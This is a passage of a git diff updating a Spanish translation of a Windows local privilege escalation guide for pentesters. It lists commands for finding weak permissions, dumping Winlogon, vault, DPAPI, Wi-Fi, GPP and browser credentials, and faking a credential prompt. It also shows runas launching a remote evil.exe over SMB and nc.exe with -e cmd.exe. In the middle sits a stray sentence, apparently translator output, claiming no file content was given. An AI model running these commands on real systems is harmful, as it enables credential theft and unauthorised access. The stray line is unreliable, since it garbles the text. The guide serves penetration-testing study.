encontrar carpetas/archivos con permisos débiles en el sistema es ejecutar: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -612,30 +618,39 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Ejecutar al inicio -**Verifica si puedes sobrescribir algún registro o binario que va a ser ejecutado por un usuario diferente.**\ -**Lee** la **siguiente página** para aprender más sobre **ubicaciones de autorun interesantes para escalar privilegios**: +**Comprueba si puedes sobrescribir alguna registry o binary que vaya a ser ejecutada por otro usuario.**\ +**Lee** la **siguiente página** para aprender más sobre interesantes **autoruns locations to escalate privileges**: + {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### Controladores +### Drivers -Busca posibles controladores **raros/vulnerables de terceros**. +Busca posibles **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` +Si un driver expone una arbitrary kernel read/write primitive (común en handlers de IOCTL mal diseñados), puedes escalar robando un SYSTEM token directamente de la memoria del kernel. Consulta la técnica paso a paso aquí: + +{{#ref}} +arbitrary-kernel-rw-token-theft.md +{{#endref}} + + ## PATH DLL Hijacking -Si tienes **permisos de escritura dentro de una carpeta presente en PATH** podrías ser capaz de secuestrar un DLL cargado por un proceso y **escalar privilegios**. +Si tienes **write permissions inside a folder present on PATH** podrías ser capaz de hijack a DLL cargada por un proceso y **escalate privileges**. -Verifica los permisos de todas las carpetas dentro de PATH: +Comprueba los permisos de todas las carpetas dentro de PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Para más información sobre cómo abusar de esta verificación: +Para más información sobre cómo abusar de esta comprobación: + {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -643,7 +658,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Red -### Comparticiones +### Recursos compartidos ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -651,25 +666,25 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts file +### archivo hosts -Verifique si hay otras computadoras conocidas codificadas en el archivo hosts. +Busca otros equipos conocidos codificados en el archivo hosts ``` type C:\Windows\System32\drivers\etc\hosts ``` -### Interfaces de Red y DNS +### Interfaces de red y DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Puertos Abiertos +### Puertos abiertos -Verifique los **servicios restringidos** desde el exterior +Comprueba si hay **servicios restringidos** desde el exterior ```bash netstat -ano #Opened ports? ``` -### Tabla de Enrutamiento +### Tabla de enrutamiento ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -679,11 +694,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Reglas del Firewall +### Reglas de Firewall -[**Consulta esta página para comandos relacionados con el Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar reglas, crear reglas, desactivar, desactivar...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(listar reglas, crear reglas, desactivar, apagar...)** -Más[ comandos para enumeración de red aquí](../basic-cmd-for-pentesters.md#network) +Más[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Subsistema de Windows para Linux (wsl) ```bash @@ -692,20 +707,20 @@ C:\Windows\System32\wsl.exe ``` El binario `bash.exe` también se puede encontrar en `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si se debe permitir `nc` por el firewall). +Si obtienes privilegios de root puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto te preguntará vía GUI si `nc` debe ser permitido por el firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Para iniciar bash como root fácilmente, puedes intentar `--default-user root` +Para iniciar fácilmente bash como root, puedes probar `--default-user root` Puedes explorar el sistema de archivos de `WSL` en la carpeta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Credenciales de Windows +## Windows Credentials -### Credenciales de Winlogon +### Winlogon Credentials ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -717,14 +732,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Administrador de credenciales / Bóveda de Windows +### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así. +De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault]\ +El Windows Vault almacena credenciales de usuario para servidores, sitios web y otros programas con los que **Windows** puede **log in the users automaticall**y. A primera vista, esto podría parecer que los usuarios pueden guardar sus credenciales de Facebook, Twitter, Gmail, etc., para iniciar sesión automáticamente mediante los navegadores. Pero no es así. -La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo. +Windows Vault almacena credenciales que Windows puede usar para iniciar sesión automáticamente, lo que significa que cualquier **Windows application that needs credentials to access a resource** (servidor o sitio web) **can make use of this Credential Manager** & Windows Vault y utilizar las credenciales suministradas en lugar de que los usuarios introduzcan el nombre de usuario y la contraseña constantemente. -A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada. +A menos que las aplicaciones interactúen con Credential Manager, no creo que les sea posible usar las credenciales para un recurso dado. Por lo tanto, si tu aplicación quiere hacer uso del vault, debería de alguna forma **communicate with the credential manager and request the credentials for that resource** desde el vault de almacenamiento predeterminado. Usa el `cmdkey` para listar las credenciales almacenadas en la máquina. ```bash @@ -734,38 +749,39 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Luego puedes usar `runas` con la opción `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB. +Entonces puedes usar `runas` con la opción `/savecred` para usar las credenciales guardadas. El siguiente ejemplo llama a un binary remoto a través de un recurso compartido SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Usando `runas` con un conjunto de credenciales proporcionado. +Usando `runas` con un conjunto de credenciales proporcionadas. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o desde [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o desde [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía. +La **Data Protection API (DPAPI)** proporciona un método para el cifrado simétrico de datos, utilizado predominantemente en el sistema operativo Windows para el cifrado simétrico de claves privadas asimétricas. Este cifrado aprovecha un secreto del usuario o del sistema para contribuir de forma significativa a la entropía. -**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema. +**DPAPI permite el cifrado de claves mediante una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios de cifrado a nivel de sistema, utiliza los secretos de autenticación de dominio del sistema. -Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque puede ser listado a través de PowerShell). +Las claves RSA de usuario cifradas, al usar DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, coubicada con la clave maestra que protege las claves privadas del usuario en el mismo archivo**, normalmente consta de 64 bytes de datos aleatorios. (Es importante señalar que el acceso a este directorio está restringido, impidiendo listar su contenido mediante el comando `dir` en CMD, aunque sí puede listarse mediante PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Puedes usar el **módulo mimikatz** `dpapi::masterkey` con los argumentos apropiados (`/pvk` o `/rpc`) para desencriptarlo. +Puedes usar **mimikatz module** `dpapi::masterkey` con los argumentos apropiados (`/pvk` o `/rpc`) para descifrarlo. -Los **archivos de credenciales protegidos por la contraseña maestra** suelen estar ubicados en: +Los **archivos de credenciales protegidos por la contraseña maestra** suelen ubicarse en: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Puedes usar el **módulo mimikatz** `dpapi::cred` con el `/masterkey` apropiado para desencriptar.\ -Puedes **extraer muchos DPAPI** **masterkeys** de **memoria** con el módulo `sekurlsa::dpapi` (si eres root). +Puedes usar **mimikatz module** `dpapi::cred` con el `/masterkey` apropiado para descifrar.\ +Puedes **extraer muchos DPAPI** **masterkeys** de la **memoria** con el módulo `sekurlsa::dpapi` (si eres root). + {{#ref}} dpapi-extracting-passwords.md @@ -773,9 +789,9 @@ dpapi-extracting-passwords.md ### Credenciales de PowerShell -Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que típicamente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas. +Las **credenciales de PowerShell** se usan a menudo para tareas de **scripting** y automatización como una forma de almacenar credenciales cifradas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que normalmente significa que solo pueden ser descifradas por el mismo usuario en el mismo equipo en el que fueron creadas. -Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer: +Para **descifrar** unas credenciales de PS desde el archivo que las contiene puedes hacer: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -786,7 +802,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### Wi-Fi ```bash #List saved Wifi using netsh wlan show profile @@ -795,32 +811,32 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Conexiones RDP Guardadas +### Conexiones RDP guardadas Puedes encontrarlas en `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -y en `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Comandos Ejecutados Recientemente +### Comandos ejecutados recientemente ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Administrador de Credenciales de Escritorio Remoto** +### **Administrador de credenciales de Escritorio remoto** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Usa el módulo `dpapi::rdg` de **Mimikatz** con el `/masterkey` apropiado para **desencriptar cualquier archivo .rdg**\ -Puedes **extraer muchas claves maestras DPAPI** de la memoria con el módulo `sekurlsa::dpapi` de Mimikatz +Usa el módulo **Mimikatz** `dpapi::rdg` con el `/masterkey` apropiado para **descifrar cualquier archivo .rdg**\ +Puedes **extraer muchas masterkeys de DPAPI** de la memoria con el módulo Mimikatz `sekurlsa::dpapi` ### Sticky Notes -Las personas a menudo utilizan la aplicación StickyNotes en estaciones de trabajo con Windows para **guardar contraseñas** y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo se encuentra en `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` y siempre vale la pena buscarlo y examinarlo. +A menudo la gente usa la app StickyNotes en estaciones de trabajo Windows para **guardar contraseñas** y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo está ubicado en `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` y siempre vale la pena buscarlo y examinarlo. ### AppCmd.exe -**Ten en cuenta que para recuperar contraseñas de AppCmd.exe necesitas ser Administrador y ejecutar bajo un nivel de alta integridad.**\ -**AppCmd.exe** se encuentra en el directorio `%systemroot%\system32\inetsrv\` .\ -Si este archivo existe, entonces es posible que algunas **credenciales** hayan sido configuradas y puedan ser **recuperadas**. +**Ten en cuenta que para recuperar contraseñas de AppCmd.exe necesitas ser Administrador y ejecutar con un High Integrity level.**\ +**AppCmd.exe** se encuentra en el directorio `%systemroot%\system32\inetsrv\`.\ +Si este archivo existe, es posible que se hayan configurado algunas **credenciales** y puedan ser **recuperadas**. Este código fue extraído de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -902,8 +918,8 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Verifique si `C:\Windows\CCM\SCClient.exe` existe.\ -Los instaladores se **ejecutan con privilegios de SYSTEM**, muchos son vulnerables a **DLL Sideloading (Información de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Comprueba si `C:\Windows\CCM\SCClient.exe` existe .\ +Los instaladores se **ejecutan con privilegios SYSTEM**, muchos son vulnerables a **DLL Sideloading (Información de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -915,25 +931,25 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Claves de Host SSH de Putty +### Claves de host SSH de Putty ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### Claves SSH en el registro +### SSH keys en el registro -Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU\Software\OpenSSH\Agent\Keys`, así que deberías verificar si hay algo interesante allí: +SSH private keys pueden almacenarse dentro de la clave del registro `HKCU\Software\OpenSSH\Agent\Keys`, por lo que deberías comprobar si hay algo interesante ahí: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Si encuentra alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada cifrada pero puede descifrarse fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Más información sobre esta técnica aquí: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Si el servicio `ssh-agent` no está en ejecución y deseas que se inicie automáticamente al arrancar, ejecuta: +Si el servicio `ssh-agent` no se está ejecutando y desea que se inicie automáticamente al arrancar, ejecute: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Parece que esta técnica ya no es válida. Intenté crear algunas claves ssh, agregarlas con `ssh-add` e iniciar sesión a través de ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de `dpapi.dll` durante la autenticación de clave asimétrica. +> Parece que esta técnica ya no es válida. Intenté crear algunas ssh keys, añadirlas con `ssh-add` e iniciar sesión vía ssh en una máquina. La clave de registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de `dpapi.dll` durante la asymmetric key authentication. ### Archivos desatendidos ``` @@ -951,6 +967,8 @@ C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` También puedes buscar estos archivos usando **metasploit**: _post/windows/gather/enum_unattend_ + +Ejemplo de contenido: ```xml @@ -969,7 +987,7 @@ También puedes buscar estos archivos usando **metasploit**: _post/windows/gathe ``` -### Copias de seguridad de SAM y SYSTEM +### Copias de seguridad de SAM & SYSTEM ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -979,7 +997,7 @@ También puedes buscar estos archivos usando **metasploit**: _post/windows/gathe %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Credenciales de la Nube +### Credenciales de Cloud ```bash #From user home .aws\credentials @@ -991,15 +1009,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Busque un archivo llamado **SiteList.xml** +Search for a file called **SiteList.xml** -### Cached GPP Pasword +### Contraseña GPP en caché -Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados. +Una funcionalidad permitía desplegar cuentas de administrador local personalizadas en un grupo de equipos mediante Group Policy Preferences (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario de dominio. En segundo lugar, las contraseñas dentro de estos GPPs, cifradas con AES256 usando una clave por defecto documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto suponía un riesgo serio, ya que podía permitir a usuarios obtener privilegios elevados. -Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. +Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados en caché localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad. -Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a Windows Vista)_ for these files: - Groups.xml - Services.xml @@ -1008,7 +1026,7 @@ Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents a - Printers.xml - Drives.xml -**Para descifrar el cPassword:** +**Para descifrar la cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1017,7 +1035,7 @@ Usando crackmapexec para obtener las contraseñas: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### web.config de IIS ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1061,7 +1079,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Registros +### Logs ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1069,9 +1087,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Pedir credenciales +### Ask for credentials -Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**): +Siempre puedes **pedir al usuario que introduzca sus credentials o incluso las credentials de otro usuario** si crees que puede conocerlas (observa que **pedir** al cliente directamente las **credentials** es realmente **arriesgado**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1079,9 +1097,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Nombres de archivos posibles que contienen credenciales** +### **Nombres de archivo que posiblemente contienen credenciales** -Archivos conocidos que hace algún tiempo contenían **contraseñas** en **texto claro** o **Base64** +Archivos conocidos que en algún momento contenían **contraseñas** en **texto plano** o **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1145,7 +1163,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Buscar todos los archivos propuestos: +No se proporcionó el contenido del archivo. Por favor pega el contenido de src/windows-hardening/windows-local-privilege-escalation/README.md (o de los archivos que quieres que revise) para que pueda traducir el texto relevante al español manteniendo exactamente la misma sintaxis markdown/HTML. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1156,9 +1174,9 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### Credenciales en la Papelera de reciclaje -También deberías revisar la Papelera para buscar credenciales dentro de ella. +También deberías revisar la Papelera de reciclaje para buscar credenciales en su interior -Para **recuperar contraseñas** guardadas por varios programas, puedes usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Para **recuperar contraseñas** guardadas por varios programas puedes usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### Dentro del registro @@ -1169,42 +1187,42 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Extraer claves openssh del registro.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### Historial de Navegadores +### Historial de navegadores -Deberías verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\ -También revisa el historial, marcadores y favoritos de los navegadores, ya que tal vez algunas **contraseñas están** almacenadas allí. +Debes buscar dbs donde se almacenan las contraseñas de **Chrome o Firefox**.\ +También revisa el historial, marcadores y favoritos de los navegadores, ya que quizá algunas **contraseñas** estén almacenadas allí. -Herramientas para extraer contraseñas de navegadores: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **Sobrescritura de DLL COM** +### **COM DLL Overwriting** -**Component Object Model (COM)** es una tecnología integrada en el sistema operativo Windows que permite la **intercomunicación** entre componentes de software de diferentes lenguajes. Cada componente COM es **identificado a través de un ID de clase (CLSID)** y cada componente expone funcionalidad a través de una o más interfaces, identificadas por IDs de interfaz (IIDs). +**Component Object Model (COM)** es una tecnología integrada en el sistema operativo Windows que permite la **intercomunicación** entre componentes de software escritos en diferentes lenguajes. Cada componente COM está **identificado mediante un class ID (CLSID)** y cada componente expone funcionalidad a través de una o más interfaces, identificadas mediante interface IDs (IIDs). -Las clases y interfaces COM se definen en el registro bajo **HKEY\CLASSES\ROOT\CLSID** y **HKEY\CLASSES\ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Las clases e interfaces COM se definen en el registro bajo **HKEY\CLASSES\ROOT\CLSID** y **HKEY\CLASSES\ROOT\Interface** respectivamente. Este registro se crea al fusionar **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico-Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral). +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Básicamente, si puedes **sobrescribir cualquiera de las DLLs** que se van a ejecutar, podrías **escalar privilegios** si esa DLL va a ser ejecutada por un usuario diferente. +Básicamente, si puedes **sobrescribir cualquiera de las DLLs** que se van a ejecutar, podrías **escalate privileges** si esa DLL va a ser ejecutada por un usuario diferente. -Para aprender cómo los atacantes utilizan el secuestro de COM como un mecanismo de persistencia, consulta: +To learn how attackers use COM Hijacking as a persistence mechanism check: {{#ref}} com-hijacking.md {{#endref}} -### **Búsqueda Genérica de Contraseñas en Archivos y Registro** +### **Generic Password search in files and registry** -**Buscar en el contenido de los archivos** +**Buscar en el contenido de archivos** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1225,11 +1243,11 @@ REG 